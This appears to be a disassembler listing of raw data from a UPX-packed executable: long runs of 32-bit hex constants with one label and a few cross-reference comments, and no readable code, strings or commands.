		dd 9348278Ch, 5C898027h, 0B3E26639h, 87F4476Eh,	5E2E0B2h
		dd 6C1DCAC2h, 0CE3170Ch, 85017F5Fh, 0F99E9CC1h,	96A34AA2h
		dd 3EAC59B1h, 6066443Dh, 0AF4C5A09h, 692AD61Dh,	41A1D91Fh
		dd 968E8D10h, 144F9CF7h, 0EB65774Ah, 285D54D9h,	111913A6h
		dd 0D62F27CFh, 7CD08342h, 2C6DF284h, 78374684h,	790FAFCDh
		dd 107A1209h, 0EA80F699h, 9A2E16B3h, 0A69405F3h, 0EC2AEB84h
		dd 9787031Ch, 0FCC27A2Bh, 2FD8189Dh, 12A001B3h,	0E9930C34h
		dd 0AF13A64Bh, 2259B20h, 7D5483DCh, 0D0FBF64Eh,	755D7775h
		dd 0A2208E04h, 7A91FAB8h, 0E3AB500h, 293C9528h,	95F00F9Eh
		dd 39223AE3h, 895C79h, 0E28972C1h, 0DD488311h, 0E220F472h
		dd 0D681C8F5h, 41C3B61Ch, 0EDFD7059h, 16A6FF91h, 0DD6F58B2h
		dd 18009C5Bh, 0BA62801h, 0FC438226h, 0CA67E427h, 2ECB0B0Ah
		dd 37221103h, 0CE5FB9C0h, 18EC2B5Ch, 0EACF0BACh, 0F941CE58h
		dd 85149B87h, 0F394547Ch, 87A36F5Ch, 0E4537B7Ah, 3B34BBAFh
		dd 0B7B0A262h, 2973F08Bh, 4C6FAFC9h, 75C4125Fh,	1989419Eh
		dd 527D3DC5h, 0A5974B68h, 4250A3F1h, 720A0539h,	35C0000h
		dd 4CE4D7DCh, 8A350A41h, 0C7CAE83Dh, 8DA92AEAh,	402996A6h
		dd 0B9674882h, 0EB816EBh, 0EAFC4453h, 0B1E95445h, 936CA7A9h
		dd 0E106CBACh, 0DADE3000h, 0EA27BE0Eh, 349C8C9Eh, 0B314455Ch
		dd 21FF919Ah, 0F6F98B52h, 8F016213h, 0CDCA662Eh, 39175D4Ch
		dd 0A449FD70h, 98A12126h, 49DAA808h, 8B4313BDh,	0F548656Ch
		dd 130C043Fh, 71BFE501h, 10A40167h, 76AA1A82h, 0ECD830A2h
		dd 386D8140h, 7224BB35h, 2DAC1BCEh, 5E66ED23h, 0BA14219h
		dd 0A76E895Eh, 0BE52D7C4h, 69282705h, 0F96601C7h, 6BC28CB5h
		dd 31FBD79Eh, 4E8FB8C1h, 599F1009h, 0DEA7B456h,	55F56EB5h
		dd 858B3BFBh, 0B8E36153h, 9B8CBA45h, 1A6DDA83h,	5EAA299Ch
		dd 0F3B68BE2h, 0C97D2EC3h, 8C435FD9h, 32E3E46h,	0B35F946Fh
		dd 5D5E2882h, 0F11DC115h, 1EF4CBAEh, 0C8075879h, 4AFE8B8Ah
		dd 90350803h, 0CAD2D863h, 92949138h, 43F43CA5h,	34008269h
		dd 0CB8C7186h, 0FE938A00h, 29B625F3h, 9ED5771Ah, 68C1AEE6h
		dd 77E2E531h, 9787E0D4h, 8C19646Dh, 310D5F5Fh, 0B2305773h
		dd 9B4FCFD9h, 0C548F004h, 0C991FB65h, 0B7B4105Bh, 34619821h
		dd 7E3BBE2Dh, 0F5D93AABh, 0EFD540C2h, 9D9D5644h, 2D84B7E5h
		dd 23157DA4h, 7FEF4Fh, 2DC7B2AAh, 67F65713h, 219CF52Ah
		dd 0CB165CCh, 30114484h, 0E9588241h, 31B96040h,	12084240h
		dd 9E8B8143h, 3C1084D6h, 28BEC38Ah, 54D0AB2h, 0D2065FF9h
		dd 0B931335Eh, 91F25812h, 0D3DC7ECFh, 65900E6Ah, 0F3B866EFh
		dd 0AEE65491h, 6D3534DAh, 243B2B50h, 0A95CA91h,	0C9FB15D6h
		dd 0D1AF943Ah, 0F41ABAC0h, 8318F836h, 9B2229C8h, 112E7522h
		dd 0D291EC84h, 2ED3F673h, 7EE4D314h, 3FCFB5D0h,	0A3A29408h
		dd 0B2CE8985h, 0E0B895DEh, 859793C6h, 1753EA55h, 9BA9D475h
		dd 1C24FDD5h, 789EC15Ch, 81401470h, 0C96F1B35h,	9216734Eh
		dd 0D37AC32Eh, 2645E795h, 5C16EBABh, 0E7C64525h, 367EE094h
		dd 0E5EFECC6h, 4FD2443Eh, 0AFB00132h, 8A27E66Fh, 0D0005C6Eh
		dd 5F4565E4h, 9C320F09h, 198F4F6Ch, 8339AB4Ch, 7DFF994Fh
		dd 0F5F80732h, 8F5D5757h, 0CF804619h, 5FFA3F5Fh, 4A2F2E28h
		dd 9C0128D6h, 9F43214Ch, 28DC38B7h, 0B703125Ch,	818300C8h
		dd 3D499DBh, 0AEB078B2h, 283C599Bh, 0BC62AB0Eh,	0A1B7CA05h
		dd 0AA73308Bh, 94826593h, 283A9858h, 24DB22BEh,	3DEA6828h
		dd 82E6C465h, 2421A140h, 25B1D589h, 9BAC1C13h, 0CC0F4E07h
		dd 40174DAAh, 0CD7023B5h, 0FA07E999h, 26B6F9A1h, 272FC594h
		dd 1C9C95AFh, 2B0E1A9Bh, 4E096B28h, 0ABD44997h,	0A96F60BBh
		dd 50076959h, 0A1D10FDBh, 361BCE50h, 0FF8BD49Bh, 2CFC3B3h
		dd 0E2950CDAh, 0F6AFC25Dh, 9337D8B3h, 5103EF5Ah, 0B66CD85Fh
		dd 0DE16D332h, 0F93B3D98h, 43350CCFh, 0B7868BDBh, 5E3DBE2h
		dd 0CD511C99h, 0B6066024h, 962D51Ch, 9C04A7E9h,	6BB3A80Eh
		dd 55B7E68Fh, 0C712D427h, 99016077h, 0E5E37A1h,	0B0E0EA0Ah
		dd 71128EA7h, 657EC77h,	0D07F0F9Fh, 703F4DC8h, 863014E3h
		dd 0BDB44209h, 1D7153DDh, 48B543F9h, 0F2CB0D1Bh, 0FFF9CE5Ch
		dd 592FCB46h, 965E8F83h
		dd 85F97C95h, 0D1918553h, 5E8464ABh, 0CAD5B361h, 247D9756h
		dd 53453AAAh, 7C604163h, 2D114316h, 4CE7F524h, 0F7BA0C78h
		dd 3EB17506h, 63304586h, 0A9E18A75h, 0ECF22030h, 0BA3E4EF5h
		dd 91710425h, 12369930h, 9880AF2h, 0DCF5F7DBh, 9725D8E2h
		dd 1D35BD70h, 0AE44FBA5h, 1AAFF7DEh, 0BC81C6BAh, 2CB3736Dh
		dd 0F7A76A93h, 3CEDE3Ch, 76581298h, 8D04FD6h, 56C959FEh
		dd 161DFE38h, 0E107EF61h, 0BF0B3789h, 5BAFADFCh, 53C6AC8Bh
		dd 39D3BED2h, 0B2132F71h, 728DC934h, 40FF61C7h,	0F89E1E7Bh
		dd 20044984h, 70BF08A0h, 0B950A8Ah, 95022848h, 8E5C7F55h
		dd 2FE8B40Eh, 49ADAE68h, 3917EAF2h, 15A0C5AFh, 0FB4754CAh
		dd 85D7F5B9h, 931E5E19h, 9B619FEEh, 4DBF2422h, 0C777820Bh
		dd 9DB177DCh, 0E27D054Fh, 2008E406h, 30CAEAE1h,	7610601Fh
		dd 5E12709Ah, 816064E2h, 0FBCD4B90h, 47961CB6h,	4A2C562Fh
		dd 90D06485h, 0EBC3CC8Bh, 21717887h, 77EB30Ch, 0FCEFB9D2h
		dd 75B5F3E4h, 0A78F5BE9h, 1E9B13E1h, 31F9F31Eh,	76BA5B3Eh
		dd 4BDF50D5h, 2D2CDB43h, 78D2CB3Bh, 0D71DCC4Eh,	0E639257Ah
		dd 72B81EECh, 16D20275h, 7C9EA70Ch, 48A1F719h, 0D9A35097h
		dd 3050B915h, 0B2524501h, 4DE68731h, 0F7CB8AD8h, 0F071C5Eh
		dd 43E7968Ch, 0FA25EA28h, 6AD64639h, 133A5943h,	2113B261h
		dd 781C06A3h, 0CAF86C8Bh, 0FF812077h, 0BAA5CD4Ah, 0A2EC5BC0h
		dd 9E23F90Ch, 0D4A3521Ch, 0C4DCA555h, 0F09021A6h, 89EFE733h
		dd 3A1AE436h, 637AEA02h, 0EC5E45D8h, 0FAAF38D0h, 0D87482DBh
		dd 1C1120CBh, 2FC22C18h, 9863EE73h, 486904F6h, 0D85CF670h
		dd 6A266E4Eh, 4D9873C2h, 0C798FA2Ch, 0F2DEAECAh, 78C235Ch
		dd 63D11022h, 0AD24A43Bh, 0A5DE7204h, 6C9DCE31h, 32A9C40Eh
		dd 88D7F555h, 6640CF4Fh, 1691AFA8h, 85AF2757h, 6E824AA2h
		dd 6321F51Bh, 16E87735h, 18E4129Eh, 0F256B207h,	0A78BE356h
		dd 79DB9E72h, 2DCDD245h, 0F2860E7Ch, 5FFD43F2h,	0DEE3D6ECh
		dd 0FBFE5A84h, 100DCCD1h, 658D42CDh, 749BE2C4h,	0E081AA7Bh
		dd 11A77918h, 4A57203Bh, 0B2DA5B6Fh, 1F0C2BD6h,	6FB17119h
		dd 0FB485AA6h, 4884A080h, 2EA41794h, 5BA962C4h,	0CCB84F50h
		dd 8E8AA1EBh, 67B74BE9h, 0E6A16929h, 8EB40A96h,	0EA2D1D18h
		dd 9BA4DC0Ch, 2C0690h, 0E2F4CA23h, 56E57228h, 6A073D8Dh
		dd 42EE3332h, 272CF5A8h, 0BAA9B0A2h, 0EF23EBC3h, 95D1149Bh
		dd 15D1BEE2h, 31E7BFCDh, 0F608E602h, 467CAC10h,	6CCA3497h
		dd 3C7FE3EFh, 39D727B0h, 38EDBE5Ch, 2F66CDh, 0DDE3B1B1h
		dd 2F50D2C3h, 0B9E2035Dh, 0F124F4D6h, 0B8259410h, 2F1AAB9Dh
		dd 295E1DA1h, 0BA09E331h, 688E5FD2h, 4D56BD4Bh,	9076152Eh
		dd 1A92A0DCh, 86C31B4h,	4791A42Eh, 1085E123h, 0FD3CECDFh
		dd 0C02E274Bh, 0AB68FEF0h, 0FF479450h, 0E592AD7Dh, 66B5AC96h
		dd 9B84070Bh, 0A62A1F3Bh, 0AF0054C3h, 0A237A956h, 6E4C420Ah
		dd 517BCA75h, 58543B1Ah, 545345EFh, 0D60229C3h,	4F27EFF8h
		dd 0C51407DEh, 20EB982Eh, 6DE8D43Eh, 0A6E78DD0h, 0D234B4D6h
		dd 0C62E1FBh, 0CB8902FDh, 0B481D99Fh, 0CF923555h, 7EFFE9A5h
		dd 2C6EECDBh, 9EDB5B1Dh, 0A3C8BCA8h, 54B08258h,	0C341949h
		dd 0E8920744h, 3170931Dh, 8A28827h, 4EB0165Dh, 50481699h
		dd 0DA940077h, 3557B7E1h, 6F477AB3h, 7C11B4Dh, 2E82BB33h
		dd 416FAE3Ch, 0F23790B5h, 0E6C783BAh, 694DE315h, 19E7B5C2h
		dd 5AD43F67h, 8964F792h, 703DD9C2h, 4AE84FE6h, 0DD2B9E22h
		dd 4DF4862h, 4E391FD3h,	0C5FA2734h, 331AF1FCh, 754E129Fh
		dd 0B19A4A08h, 0D56146E1h, 92D844E4h, 0EBA214D4h, 0B842C7BAh
		dd 0EC4C30EFh, 4AAC40F2h, 375D7138h, 8C3F4341h,	0CCDF9CC0h
		dd 0DAA9BB93h, 0D6EE8020h, 5A6B90D0h, 0AF57307Eh, 392C89D0h
		dd 2DDE7AA7h, 0AB3CE414h, 0ABDCB0B8h, 95389016h, 6E4FDAB1h
		dd 9AA29962h, 423E92DEh, 12284DDAh, 2009D446h, 9DB803C1h
		dd 1BD00A78h, 0C5C621E1h, 26D8BA7Eh, 0B49F7AFFh, 0C8C533D7h
		dd 0ED5A13DFh, 0E801792Bh, 86CBDE96h, 0F21C5E00h, 0D55F79E6h
		dd 0AE4EEECFh, 979B3263h, 6718D80Ah, 63BD8485h,	0E049C684h
		dd 4A8402Dh, 0D36CE1F5h, 681BB07Dh, 0A7CE8F9Bh,	14EB4BA6h
		dd 51297AFBh, 114193Fh,	7B66A1DAh, 0A59F436h, 0B28C37E8h
		dd 98FFFF9Fh, 4C09DFC3h, 4C606A8Ah, 0A4ED1C43h,	0CC4070B2h
		dd 0A468CA99h, 0A9BD92ECh, 6828C564h, 8D93E187h, 0A0AEC660h
		dd 0BD46CC87h, 0B626B4Dh, 0C3D07A6Eh, 0E7611B2Eh, 2B8FA3E7h
		dd 0ABA9CC64h, 0EECA4202h, 0AC8C72B5h, 54830F09h, 414B4515h
		dd 0D084E965h, 7469C090h, 2ED5EA79h, 1703B2A2h,	757F6558h
		dd 0B5E2A145h, 5FAC20CDh, 0C1D747F3h, 0A37208E8h, 79872CA5h
		dd 0B90FDABh, 8E740862h, 9A3DB0D2h, 46DD76DFh, 0F9D02079h
		dd 16BB48DEh, 133FCB0Fh, 25DD2AEDh, 0A77A4FC5h,	0F09B34h
		dd 9EFACC48h, 644700FFh, 0AEAC0DF6h, 53B9642Ch,	0F55C482Eh
		dd 7DE12897h, 0C90623DDh, 0B6DF384Dh, 7EAC0463h, 79B23F2Fh
		dd 37866DD3h, 0AA6381C3h, 40448732h, 0F604A4F7h, 0E032B5C8h
		dd 5BFEB17Dh, 817DD617h, 4D1EF523h, 44B48894h, 0C199B85Bh
		dd 9B642144h, 23461F21h, 3497EBE0h, 0BE842D19h,	7DC69F81h
		dd 0F36DA785h, 7C59A872h, 0ECC47AFh, 4C377D65h,	0E0E16219h
		dd 81295806h, 1BAD2AFDh, 44AAF6ADh, 176BD4F9h, 378AD986h
		dd 0FB5D091Bh, 9503E7E1h, 4184F10Ah, 138393E5h,	76E4AF2Ch
		dd 0DF8CBD47h, 0C64A6E1Ah, 467F58BAh, 0D98FAA6Eh, 0DA582F92h
		dd 0C3ED7658h, 28F10605h, 467BC74Fh, 0EE254871h, 5EA47F68h
		dd 24C241D4h, 39724215h, 0E6890F56h, 225A989h, 6E126EF4h
		dd 0D94BF666h, 3A15A7B8h, 871C7FDBh, 0C3057F4Dh, 2866C69Eh
		dd 4D4D2C39h, 4380E647h, 0DCD2B2E5h, 0CCC3C138h, 59310BE3h
		dd 202CFCD4h, 23DD653Ch, 51AFBDF1h, 8ABD8834h, 29A4341Bh
		dd 87E3D763h, 4AFFA648h, 0AEF11000h, 0D315E614h, 60DFD9E9h
		dd 620947D4h, 0ABCCA911h, 9BC4062Fh, 69FDC0BFh,	0AF336066h
		dd 0E93617D9h, 0E60D4838h, 0FB813255h, 0E65E3DA1h, 6C2E4330h
		dd 0C70F75BAh, 0FB8EA53Bh, 0EA372B9h, 0CAB25FFFh, 0D58EF309h
		dd 0EFFFB119h, 1C350904h, 9B8B079Ah, 2DAD1D2Bh,	0F57EEF0Eh
		dd 0DDD05BFAh, 0E6A607Ch, 2E015DBEh, 9258C096h,	0A9C7DC25h
		dd 8CBC9890h, 0C9F82687h, 80FB6D5Dh, 0A96CB471h, 0FA58CAAAh
		dd 138DBC9Fh, 0B09A4969h, 7068637Fh, 3E58356Ch,	313B95B5h
		dd 0BEE446D5h, 90B040E6h, 0A6401B43h, 416B0F7Dh, 99113D95h
		dd 0DE8D7A19h, 2682C57Ah, 8DFC7F61h, 887F4CD9h,	12F0735Eh
		dd 3CB70BD0h, 3106607h,	0A114F38Fh, 7B61AD5Ah, 0B16A69B8h
		dd 1359367Ch, 0F1346A5Eh, 0A6EC3825h, 0DAFB740Ah, 6E1AEA43h
		dd 0EFC83E87h, 2CE8A577h, 3C07F9C1h, 5C0FC4B6h,	0B2A65207h
		dd 453C2F2Bh, 14C7E3D3h, 861E8718h, 0D7476108h,	26A53DBh
		dd 0D3C4A326h, 7EF071B1h, 14963800h, 0A14830C1h, 0F2A5CA08h
		dd 0C4B3BA15h, 0F5FEA25Fh, 0C1D8D82Dh, 57B29FD2h, 229AA471h
		dd 0A181346h, 8893D34Fh, 5C14AD08h, 0C51643F4h,	0B09DA36Eh
		dd 0BE6A0060h, 0AF4298A1h, 0D9DB5438h, 41A168Bh, 277D99ADh
		dd 298E96E7h, 0A1796E1Ah, 8FD745D9h, 0B083F746h, 7A3ADE8Bh
		dd 0B345C66Eh, 5D79D6A6h, 4809601Eh, 280D6472h,	77CEF757h
		dd 0E0E6D3C0h, 9399D977h
		dd 0AE1A5138h, 0A348A7FAh, 7E2A01E1h, 0A41B0CDh, 0FEC4E50h
		dd 0D93D91C9h, 666228E8h, 642DBB52h, 5F2E0525h,	788C2B57h
		dd 0C8772F73h, 8A767BEDh, 0E3DCB7D2h, 0E019E3DFh, 0D7F34D08h
		dd 4110B8A5h, 87C1F4BAh, 5699E767h, 0FECF4B34h,	767582C4h
		dd 8134A0EDh, 43E525A6h, 64C5E747h, 5F52CA93h, 0FEB39220h
		dd 0A40FB65Dh, 71F267A6h, 352A6244h, 0A0E25EABh, 17A22C57h
		dd 0F2C045EFh, 9512FD5h, 26D4A244h, 62EE83EEh, 39A339Dh
		dd 415B5FCCh, 3A6FB744h, 0D72C9266h, 0E55481D8h, 3E7041A5h
		dd 0EC7377A0h, 0D1252D07h, 0B7220916h, 5CE79B29h, 57CB689Bh
		dd 0BCF98EB2h, 0FD258E6Fh, 0B3F35D7Bh, 4F0C608Eh, 97675C3Ah
		dd 313E2761h, 520A0572h, 2CCB5D5Ch, 7A22B9A6h, 1C46913Ah
		dd 0A84D82BAh, 40B66B14h, 2350CBBAh, 0E9B26175h, 257237D8h
		dd 8D46585Bh, 46BD98DAh, 0D75B21D1h, 5A24F11Eh,	0A18B46F4h
		dd 0EDD1555Dh, 450844C1h, 9B6551B2h, 0B7F62CBBh, 5164FB18h
		dd 0D2181E81h, 8DA593B4h, 3C539E63h, 5A79BA21h,	9A7CE3AAh
		dd 0B421DC7h, 369DBBB2h, 3F939B12h, 923AADC3h, 0D2B61117h
		dd 0FBC01AE2h, 6613394Fh, 4EDD7C3h, 7F4A252Eh, 8FE9C2DCh
		dd 5A0F2ABh, 0DC3E1C04h, 0C56BA6Dh, 0BF95AE2h, 0F42244E8h
		dd 1ADAE5B2h, 13D650A5h, 0A9F335F4h, 6060821Bh,	0A8E7F297h
		dd 3CE3D612h, 0F34EEE4Dh, 74514D99h, 0AFE72402h, 85C9B304h
		dd 0CABB2A9Fh, 46FE614Eh, 2E22DC2Bh, 62A1A54h, 3E050A86h
		dd 0DD464F2Ah, 60645153h, 0F77BA5D0h, 0F9AE83D6h, 11FEEDCCh
		dd 2A150EDDh, 79425E91h, 45BEC805h, 0A301BD8Bh,	750319AEh
		dd 0CB5EEC3Bh, 0C3BED697h, 0FD3AA29Eh, 799E036Eh, 4E4160C8h
		dd 7D0A00A5h, 5619C1FFh, 3575DF0Bh, 0DE380865h
dword_544450	dd 0F2E29747h, 987D3ED2h, 2173D85Fh, 0FF78B126h, 4BDBAB7Dh
					; DATA XREF: UPX0:off_438F6Co
					; .data:off_4EF5BCo
		dd 0EEE721E2h, 4A41096Ah, 715D6FBBh, 207DBFEEh,	0C3B7E37Ah
		dd 51AF7F44h, 0CC20CADCh, 31E18B6Fh, 27AC4E06h,	5D6E3E2Fh
		dd 10736B6Dh, 11B481BBh, 0D9333978h, 6E5F8F98h,	0AE91AB3Ch
		dd 4069BD7h, 5BD38ACDh,	0C6937D22h, 0DDC0A0B6h,	65AD1DB9h
		dd 6439ED57h, 0B70E74E3h, 9F2A7010h, 32F73F33h,	5689FECCh
		dd 0C0056E12h, 0D5BFB5Eh, 0F5893044h, 45ADD156h, 7D30EC02h
		dd 0A79EEC6Dh, 1E080E79h, 0EA46E114h, 8A98A5F4h, 0A5597C21h
		dd 886D6D92h, 81EA4F59h, 45F169F0h, 395472A3h, 0F7113494h
		dd 11DE270Eh, 3554660Fh, 3517DF8Ch, 91AB8BBCh, 15B1B044h
		dd 171DD39h, 87CED73h, 48B89E14h, 0F1E4831Bh, 0B027886Ah
		dd 0AC2B9A76h, 688643FCh, 359247A8h, 7EF62515h,	9873CFB2h
		dd 0F54572D6h, 51B3CA50h, 2D695BC1h, 0E7DB058Eh, 87C6A9D2h
		dd 128E785Ch, 0B9BCBAC9h, 290E7D95h, 0A4C0CB38h, 0A554A676h
		dd 2A2C5130h, 0DE0EE680h, 0DA77FC95h, 0B3B0D844h, 921CDF84h
		dd 96B1D43Fh, 8CEAD426h, 9B967573h, 99ADAC85h, 0BFF5360Fh
		dd 0BDF4BC02h, 4CC7C531h, 0F325AB72h, 554A5B3Dh, 0BB6709CAh
		dd 0EE0B7D2Fh, 9C979540h, 97DDC64Fh, 2A5A5A08h,	0F7441E79h
		dd 0C0A794B9h, 87B83540h, 0BE1C16F2h, 0BD3F2E5Ch, 0A36510FEh
		dd 0B9AECACBh, 503A1B40h, 2A84A2DDh, 0B58D50FEh, 0B2697E9Eh
		dd 0D262017Fh, 238BC0E9h, 39C2CDFDh, 645876E4h,	0D4FA768Bh
		dd 5A630377h, 4C7BD3A6h, 9609C9B4h, 2EDFEABCh, 0CEEDDFD0h
		dd 40F3EAA3h, 2EAD8D25h, 0D15BBAD8h, 0F608CC22h, 94DB39E4h
		dd 22460296h, 74B5CE0Ch, 0CA430D83h, 0C1F909C5h, 0D806DBD5h
		dd 0E8158695h, 73B1409Ah, 70C6E19h, 198A8829h, 264B4F7Ah
		dd 0AEFE7E2Eh, 3286BF4Dh, 43F2B1A8h, 3B603CA4h,	1103277Eh
		dd 47D1C75h, 0BE8BDEAEh, 0E6C51BEFh, 2D0D2719h,	58EA97A5h
		dd 0A210685h, 5E74CFCEh, 6DC1B48Ah, 0CE57D1E1h,	45BE67DEh
		dd 5824D575h, 6E853C8Ch, 0F31973A9h, 96DA24D1h,	4CA775C7h
		dd 8102B0D5h, 73C034AAh, 40BFCF97h, 0ED1E7508h,	0D4E225B5h
		dd 0FC301EF2h, 0DDD5B569h, 4FA54795h, 87CC3B4Bh, 328D8933h
		dd 9FD3F354h, 4F62CE46h, 8EC899C1h, 0DAB0BC44h,	7349B207h
		dd 1653781Dh, 3DA0A4AAh, 4F3150BCh, 0AE8E3F71h,	1BC9C495h
		dd 641B48FAh, 89716DBh,	38964B58h, 562AE554h, 35D03106h
		dd 0AAE54A74h, 6E30F0C8h, 66878E9h, 0A9C1E20Ch,	91A99D1Eh
		dd 14825BC9h, 3A54CE7Fh, 718C52C8h, 27D4CB80h, 46221781h
		dd 0D663C20Ch, 0C3672FB4h, 0BBAA0C2h, 0E4C8A5DEh, 0FAE3B340h
		dd 9A5F708h, 98B0BE7Dh,	0D4416D5Bh, 483FAD2Dh, 9491756Fh
		dd 0B7AA8613h, 4EE1D348h, 0D4308BC0h, 87D21DD4h, 0F9D0954Ah
		dd 25258152h, 8531EAEDh, 2591C434h, 0E24DE6E4h,	0E2E1C57Eh
		dd 0DC492016h, 0CD8A3D9h, 1B5C4ABCh, 401A0F6h, 0E3C641B2h
		dd 0D492243Eh, 12F1B4C7h, 0B308C20h, 0BE347614h, 85D686CBh
		dd 0C5B47B2Ch, 0AD48879Dh, 0C49FCB5Ah, 83EF4EC1h, 8343374Fh
		dd 0AAE98A1Bh, 9AD43E1Bh, 0B18C3Fh, 2522B475h, 613C637h
		dd 0FA57F77Eh, 0A75F97Fh, 7C81F0E1h, 7ED64441h,	465761FCh
		dd 9AA20392h, 49335BB3h, 9E5C5C93h, 0A616F4F1h,	0C8D9B9CDh
		dd 0D4BC6E36h, 4D7826F5h, 0C2EFF857h, 0A4BD3046h, 9FBBF8EDh
		dd 566DD144h, 6DF62422h, 77E15D84h, 0BA362342h,	73DB94C1h
		dd 8E3B0664h, 22016884h, 9FD07711h, 0F92314ABh,	7CDE73FDh
		dd 0CD4BA932h, 203991CDh, 0A4EC44B9h, 0EBDCBD25h, 8253E706h
		dd 0EFB38532h, 1B748EC8h, 0C8B8CADFh, 9363DE52h, 4F646194h
		dd 0EA6C9C75h, 0ACCD7240h, 6F83D086h, 90E893FAh, 93B1BDAAh
		dd 0F8DECAF0h, 8A6C4DA6h, 0CD6E88FAh, 3C874318h, 9923C0Fh
		dd 0C97B2250h, 0B465F827h, 0C878839h, 399789E1h, 5D0B0FAEh
		dd 5A4A4AA1h, 71A4BFD7h, 0D528FC6Dh, 0FD701220h, 2095331Ah
		dd 0A922A4FDh, 0A1ADF567h, 0C6B64ECEh, 0D3880297h, 840BBC19h
		dd 0E261FE17h, 6C1DDC2Eh, 0B0BA2FBh, 25F8530Eh,	8DA5D811h
		dd 42284054h, 2856A40Eh, 2A38AAA1h, 0A0E13299h,	0A3C90CA9h
		dd 0A5C9837Fh, 7153234Fh, 3E59D4A3h, 264BAC0Fh,	908DE177h
		dd 8E9CD982h, 0F17AAEC4h, 87898ABDh, 5F09A5C0h,	0F8DD09ABh
		dd 5D7A246Eh, 0E5DB17DDh, 6254114Eh, 2E65D5C3h,	2B55E912h
		dd 9A4B0DCFh, 1C927BF6h, 93DA8948h, 0A7B55865h,	0FB3F04DFh
		dd 9F55E8DDh, 0B2D693ACh, 0EDE28BF5h, 57A4F6BFh, 0A0D766A7h
		dd 910FE14Bh, 915A0EA8h, 0E5DEB2F2h, 33140CBCh,	0DE962BFCh
		dd 0EA972161h, 4A115D2h, 55739AA4h, 176203Ah, 55BC10D1h
		dd 56EA89AEh, 415104C1h, 0BDC83C92h, 0E865014Ah, 77309C57h
		dd 0EC3DAA1h, 0B2BFD348h, 0E6B55915h, 0E1E54D86h, 0C96CD137h
		dd 6D3C9A73h, 0A28FC83Bh, 0C5BFCA15h, 495D7106h, 9292103h
		dd 7D299735h, 122E4EACh, 1119B5C8h, 0C48AC5E8h,	16A2384Fh
		dd 4C52DCh, 42D88308h, 7064E2A4h, 91FCA735h, 24F1456h
		dd 9000B9A7h, 16F4E00Ah, 0D737DB8Bh, 5AAAE5F6h,	0BF024AE2h
		dd 6D0BC7D8h, 4B39174Bh, 2B94901Eh, 79518AC6h, 56A1B52Ch
		dd 0B311EAC6h, 0AA506520h, 760F0D78h, 4D74E7AAh, 94BF85A3h
		dd 0BF30C15Fh, 0ACE6107Eh, 69918B1Bh, 6DEF2B4Dh, 0D0444CA6h
		dd 0EB7D342Dh, 3F035FF9h, 0D4623535h, 0B2EC5257h, 9988F53Dh
		dd 0CD247878h, 0CABB9D2h, 6B839F84h, 9E5210B2h,	97CF6C8h
		dd 12E2DBB1h, 4F868446h, 24FABCECh, 3439E7E0h, 0CE0E017Ch
		dd 5623123Ah, 71FB755h,	0A5B57A1Fh, 4E68EA83h, 26D44F72h
		dd 0E219DD2Dh, 0BA3A28B7h, 7F7E83CCh, 7AAFE661h, 0FDDF1C8Eh
		dd 0EFD33115h, 2AAE6631h, 901FCA34h, 0D2478AB5h, 0EC3D93D3h
		dd 0FA235544h, 226E8B16h, 0D93EB435h, 34CD39E2h, 0FC9F1D41h
		dd 0B83F885Ch, 68899457h, 0CDB7E18Ah, 1D6E28Fh,	4D21CE0Ah
		dd 6D6D2581h, 0BB3A7A2Dh, 9EA9CA4Dh, 8955E44Dh,	0AE540DA3h
		dd 76FDFD12h, 3FBC930Ch, 0BC649EA8h, 3DA50Ah, 6CFF639Ah
		dd 44733EADh, 0B4CD94D2h, 1ABB9FBCh, 9BA83685h,	0CB4558C9h
		dd 0F119C93Bh, 1BAA511Ch, 204F4B79h, 0C145A700h, 6345241Dh
		dd 0A12CEC07h, 5B0533E4h, 0B1FF8971h, 1AF912DFh, 70202A75h
		dd 320C634Ch, 1D3EA98Bh, 0E365F236h, 9B6D9EEh, 0F4B1A50Dh
		dd 0DC43D4F3h, 0FFD4F4FFh, 31502757h, 962C1771h, 34A94390h
		dd 6543EC98h, 224FAB60h, 78DBE62Dh, 0B5BC21FDh,	11F689A5h
		dd 0AC38F6h, 488D249h, 20848AADh, 12E3CC88h, 0C7D4CB2Ch
		dd 0FE998D4Eh, 0CE04AC7Bh, 0C3A1D44h, 0C4D71039h, 95083AD4h
		dd 353BFBB5h, 0E3D3A8AAh, 0B6D644D6h, 0ABC7B919h, 0CF760B1Ah
		dd 5DD6C553h, 0C773CB05h, 682E10D6h, 0B7804CE3h, 0B5CC4BFFh
		dd 5F19EC68h, 0E9D59C83h, 7D89DE58h, 3B0AC170h,	0F2EADF35h
		dd 5FC4179Ah, 0DA81610Dh, 793A3E20h, 0BBF7E8CAh, 90ECD8C0h
		dd 0A6C2C066h, 8C56CF39h, 2B0E8D4Ch, 1D4A8F5Eh,	0A89E907Ah
		dd 5FBF236Ch, 0D6190592h, 40D20297h, 0DBC8C47Dh, 22DCC0D6h
		dd 5C6491F4h, 693DFC1Bh, 0B372E2F6h, 31AC9EB4h,	9755128Fh
		dd 0FA6655ABh, 85812316h, 81A6E963h, 1292040Eh,	6ACD9839h
		dd 20C82034h, 9D4ECE2Dh, 4B7F58A9h, 96334949h, 0BA0982C2h
		dd 71C78D60h, 88039AF4h, 4455FBD5h, 8F5EC6C7h, 0BA64EF85h
		dd 8155FE69h, 76AB65C4h
		dd 0BE8084DDh, 9F37C046h, 0F785F2D0h, 3B8FF901h, 65359A2Eh
		dd 0C65976D6h, 0E968D581h, 0C101F8B6h, 0C91410DCh, 8237DBF8h
		dd 0CDA4420Eh, 0EA9BF7A7h, 839164FAh, 68A2050Ch, 0B08AD8F2h
		dd 55AA9225h, 9387EF6Ah, 0D3E27882h, 676C6B61h,	0F34AA4F4h
		dd 0B1C91D5Ah, 0A6A500C5h, 444A5273h, 9929D145h, 96C80E2Dh
		dd 0A7D04104h, 7251B058h, 0EEBDEB28h, 0FA9ED4ADh, 7E7BC16h
		dd 0DA06B8BEh, 0B666B47Dh, 45ADFBC2h, 34C98A2Eh, 0E528F350h
		dd 2E023D30h, 719B658Dh, 0FC95787Ch, 0B29F85D2h, 0D7CA8C21h
		dd 2D94DD77h, 0BF332DFDh, 97D33438h, 8E2BC3E4h,	7957613h
		dd 0C40604A0h, 0D4D3C5F8h, 0D0FEF12Ah, 0A1BD063Dh, 8C50637Dh
		dd 0BC808022h, 0C95DAF97h, 6798AC1Bh, 23412C8Fh, 39C5184Ch
		dd 0D60055EFh, 0D61D5194h, 8F2C9001h, 0E124D45h, 0C321FC02h
		dd 3BC0E2A4h, 0D374E35Dh, 0F6517963h, 0CC7FAF9h, 1FB6A4AAh
